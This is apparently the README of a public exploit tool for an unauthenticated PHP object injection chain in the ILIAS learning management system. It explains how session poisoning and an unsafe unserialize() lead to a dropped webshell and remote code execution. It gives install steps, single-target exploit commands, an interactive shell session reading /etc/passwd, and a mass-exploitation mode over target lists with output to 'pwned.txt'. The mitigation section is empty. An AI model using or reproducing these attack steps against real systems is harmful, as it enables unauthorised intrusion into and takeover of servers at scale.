CVE-2026-80428

📖 Tabla de contenidos

• 🔍 Descripción general
• ⚙️ Cadena de vulnerabilidades
• 🎯 Versiones afectadas
• ✨ Características
• 📦 Instalación
• 🚀 Uso
  • Explotación de un único objetivo
  • Shell interactiva
  • Explotación masiva
• 📁 Formato de la lista de objetivos
• 🖼️ Capturas de pantalla
• 🛡️ Mitigación
• 📢 Canales y comunidad
• ⚠️ Aviso legal

🔍 Descripción general

CVE-2026-80428 es una vulnerabilidad crítica de inyección de objetos PHP no autenticada que afecta al sistema de gestión del aprendizaje ILIAS. Al encadenar una primitiva de envenenamiento de sesión en ltiauth.php con una llamada insegura a unserialize() en shib_logout.php, un atacante puede lograr una escritura arbitraria de archivos y, en última instancia, la ejecución remota de código (RCE) — todo ello sin autenticación.

⚙️ Cadena de vulnerabilidades

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

Paso a paso:

1. ltiauth.php almacena un payload serializado dentro de la sesión de PHP sin validación.
2. shib_logout.php procesa una solicitud SOAP Shibboleth LogoutNotification manipulada y llama a unserialize() sobre los datos de la sesión.
3. El gadget GuzzleHttp\Cookie\FileCookieJar invoca file_put_contents() para depositar una webshell PHP en una ruta controlada por el atacante.

🎯 Versiones afectadas

✨ Características

📦 Instalación

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

Requisitos:

• Python 3.8+
• requests
• urllib3

🚀 Uso

python3 CVE-2026-80428.py <mode> [options]

📌 Explotación de un objetivo único

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

Opciones:

💻 Shell interactiva

python3 CVE-2026-80428.py shell 10.10.10.20

ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 Explotación masiva

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

Opciones:

📁 Formato de la lista de objetivos

Crea un archivo targets.txt:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

Formatos admitidos:

• host
• host:port
• http://host
• https://host:port
• host/path (ruta eliminada)

🖼️ Capturas de pantalla

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ Mitigación

Para defensores y administradores de sistemas:

📢 Canales y comunidad